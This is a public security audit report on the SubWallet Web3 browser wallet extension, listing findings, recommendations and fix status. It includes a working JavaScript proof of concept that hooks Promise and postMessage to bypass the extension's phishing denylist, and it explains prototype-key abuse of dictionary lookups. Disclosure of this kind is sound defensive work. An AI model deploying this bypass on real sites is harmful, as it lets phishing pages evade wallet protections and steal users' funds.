SECURITY AUDIT OF

SUBWALLET EXTENSION

Public Report

Mar 10, 2022

Verichains Lab

info@verichains.io

https://www.verichains.io

Driving Technology > Forward

EXECUTIVE SUMMARY

This Security Audit Report prepared by Verichains Lab on Mar 10, 2022. We would like to thank SubWallet for trusting Verichains Lab in auditing the wallet extension. Delivering high-quality audits is always our top priority.

This audit focused on identifying security flaws in code and the design of the SubWallet Extension. The scope of the audit is limited to the source code files provided to Verichains. Verichains Lab completed the assessment using manual, static, and dynamic analysis techniques.

During the audit process, the audit team had identified some vulnerable issues in the application, along with some recommendations.

TABLE OF CONTENTS

1. MANAGEMENT SUMMARY

1.1. About SubWallet

SubWallet is the pioneer Web3 extension wallet in the Polkadot and Kusama ecosystem that is user-friendly and easy to use. SubWallet provides the simplest yet most secure way to connect to blockchain-based applications like DeFi and GameFi applications.

1.2. About SubWallet Extension

SubWallet Extension is web3 extension wallet which was written in Typescript. It is forked from polkadot-js/extension github repository which aim to adding more features while being able to rebase the polkadot-js origin at any time.

1.3. Audit scope

In this particular project, a timebox approach was used to define the consulting effort. This means that **Verichains Lab** allotted a prearranged amount of time to identify and document vulnerabilities. Because of this, there is no guarantee that the project has discovered all possible vulnerabilities and risks.

Furthermore, the security check is only an immediate evaluation of the situation at the time the check was performed. An evaluation of future security levels or possible future risks or vulnerabilities may not be derived from it.

This audit was conducted on commit 9cec8228bdb194c9bd5f0b66f12d0913da73f374 from git repository *https://github.com/Koniverse/SubWallet-Extension*.

1.4. Audit methodology

Verichains Lab's audit team mainly used the list below to check for Wallet Extension security:

- Transaction signature
- Transfer assets
- Transaction broadcast
- DApp communication
- Private Key/Mnemonic Phrase generation/destruction
- Private Key/Mnemonic Phrase secure storage
- Private Key/Mnemonic Phrase backup/restore
- Cryptography
- XSS
- Third-party JS
- HTTP Response Header

- Communication encryption
- Cross-domain transmission
- Access control
- Business design
- Architecture design

During the audit process, we also used tools for viewing, finding and verifying security issues of the app, such as following:

#	Name	Version
1	Chrome	99.0.4844.51
2	Firefox	97.0.2
3	Visual Studio Code	1.65.0

Table 1. Tools used for audit

For vulnerabilities, we categorize the findings into categories as listed in table below, depending on their severity level:

SEVERITY LEVEL	DESCRIPTION
CRITICAL	A vulnerability that can disrupt the application functioning; creates a critical risk to the application; required to be fixed immediately.
HIGH	A vulnerability that could affect the desired outcome of executing the application with high impact; needs to be fixed with high priority.
MEDIUM	A vulnerability that could affect the desired outcome of executing the application with medium impact in a specific scenario; needs to be fixed.
LOW	An issue that does not have a significant impact, can be considered as less important.

Table 2. Severity levels

1.5. Disclaimer

Please note that security auditing cannot uncover all existing vulnerabilities, and even an audit in which no vulnerabilities are found is not a guarantee for a 100% secure application. However, auditing allows discovering vulnerabilities that were unobserved, overlooked during development and areas where additional security measures are necessary.

2. AUDIT RESULT

2.1. Overview

The main features of the SubWallet Extension are:

- Monitor the balance of your Multi-chain assets on the extension window
- Send and Receive Assets with a few simple taps
- Grant access and verify transactions to Web3
- Easily manage and transfer NFT assets
- Quick and easy manage your portfolio

2.2. Findings

During the audit process, the audit team found some vulnerabilities in the given version of SubWallet Extension.

SubWallet fixed the code according to Verichains's private report in commit f1f5bc00738cfaab8adbc1567ccecabdd5fc9f2f.

#	Issue	Severity	Status
1	redirectIfPhishing bypass	CRITICAL	FIXED
2	Unsafe object property access	LOW	ACKNOWLEDGED

Audit team also suggested some possible enhancements.

#	Issue	Severity	Status
1	No schema verification when receiving input from external source	INFORMATIVE	ACKNOWLEDGED

2.3. Issues

2.3.1. redirectIfPhishing bypass CRITICAL

Currently, the extension already implemented a mechanism to check for block malicious sites by using a denylist. It will check if the visiting site is in blacklist on page load and redirect to phishing landing on match.

The audit team found that we can bypass it by abusing current extension initializer loading model for websites that allow us to set up javascript environment that can efficiently bypass above mechanism.

Extension is first loaded in page on document_start (before any script running):

```
"content_scripts": [
    {
      "js": [
        "content.js"
      ],
      "matches": [
        "http://*/*",
        "https://*/*"
      ],
      "run_at": "document_start"
    }
  ],
```

That content.js setups communication gateway and then again load the actual plugin's client source:

```
const script = document.createElement('script');

script.src = chrome.extension.getURL('page.js');

script.onload = (): void => {
  // remove the injecting tag when loaded
  if (script.parentNode) {
    script.parentNode.removeChild(script);
  }
};

(document.head || document.documentElement).appendChild(script);
```

After page.js loaded, it will run denylist logic:

```
redirectIfPhishing().then((gotRedirected) => {
  if (!gotRedirected) {
    inject();
  }
}).catch((e) => {
  console.warn(`Unable to determine if the site is in the phishing list: …
  ${(e as Error).message}`);
  inject();
});
```

Note that above content.js lets page.js runs outside of document_start, and that will delay up to after headers's scripts. So we can add malicious scripts into head and these will run before extension's script.

We implemented one way to bypass by hooking Promise and window.postMessage:

- window.postMessage: set flag when seeing "pub(phishing.redirectIfDenied)" message.
- Promise: resolves false for redirectIfPhishing.

Details as below:

```
(function(){
        var requestPhishing = true;
        var savedPromise = Promise;
        window.Promise = function(creator) {
                if(requestPhishing && ~creator.toString().indexOf('${Date…
  .now()}.')) {
                        requestPhishing = false;
                        this.real = savedPromise.resolve(false)
                        return
                }
                this.real = new savedPromise(creator);
        }
        var b = window.Promise.prototype = {};
        var a = savedPromise.prototype;
        for(var i of ['catch','then','finally']) b[i]=((fn)=>function(....…
  arg){ return this.real[fn].call(this.real,...arg) })(i);
        var saved = window.postMessage;
        window.postMessage = function(msg,...args) {
                if(msg && msg.message === 'pub(phishing.redirectIfDenied)…
  ') {
                        requestPhishing = true;
                        return;
                }
                return saved(msg, ...args);
        }
})();
```

Demo: Inspect plugin's background page and visit *https://e08a2978-db98-4cd4-8ca7-7ca5bffdff21-tmp.vhn.vn/*, there won't be [in] https://e08a2978-db98-4cd4-8ca7-7ca5bffdff21-tmp.vhn.vn/: ...: pub(phishing.redirectIfDenied)

RECOMMENDATION

Include page.js into content.js and/or ensure blacklist verification in handlers's state.

UPDATES

- *Mar 10, 2022*: This issue has been acknowledged and fixed by the SubWallet team in commit f1f5bc00738cfaab8adbc1567ccecabdd5fc9f2f.

2.3.2. Unsafe object property access LOW

Nearly all objects in JavaScript are instances of Object which sits just below null on the top of a prototype chain. Object already has many stuffs defined, for example: toString(), valueOf(), __defineGetter__, __proto__,... Attacker may use these as key to access some dictionary objects ({}) to take advance of unaware return value type in application to extract metadata, parts of source code, or event bypassing unsafe guards.

Example error in the auditing source code:

```
readonly #authRequests: Record<string, AuthRequest> = {};

readonly #metaRequests: Record<string, MetaRequest> = {};

readonly #signRequests: Record<string, SignRequest> = {};

  public getAuthRequest (id: string): AuthRequest {
    return this.#authRequests[id];
  }

  public getMetaRequest (id: string): MetaRequest {
    return this.#metaRequests[id];
  }

  public getSignRequest (id: string): SignRequest {
    return this.#signRequests[id];
  }
```

Although types are declared strictly in typescript, these will all stripped when compiling to plain javascript. For example, if the input value of getAuthRequest is "toString", return value of the function will be the native toString function, not AuthRequest type.

This kind of error is everywhere across the auditing codebase.

References:

- *https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain*

RECOMMENDATION

Use Map for map/dictionary/record datastruct (*https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map*). Or use hasOwnProperty() (*https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty*).

UPDATES

- *Mar 10, 2022*: This issue has been acknowledged by the SubWallet team.

2.4. Possible enhancements

2.4.1. No schema verification when receiving input from external source INFORMATIVE

Cast data from type of any to TransportRequestMessage<keyof RequestSignatures>:

```
port.onMessage.addListener((data: TransportRequestMessage<keyof RequestSi…
  gnatures>) => handlers(data, port));
```

All the handlers follow that make use of strict typing from typescript's declarations, so it's open for attacker to fake the data with inputs that have wrong types. As no type checking will be involved at runtime, the final behavior is undefined, bust mostly the unexpected behavior will be some kind of errors throwing.

RECOMMENDATION

Make use of JSON schema validator or implement a new type type UntrustedType<T> = T to track untrusted source top down.

UPDATES

- *Mar 10, 2022*: This issue has been acknowledged by the SubWallet team.

3. VERSION HISTORY

Version	Date	Status/Change	Created by
1.0	*Mar 07, 2022*	Private Report	Verichains Lab
1.1	*Mar 10, 2022*	Public Report	Verichains Lab

Table 3. Report versions history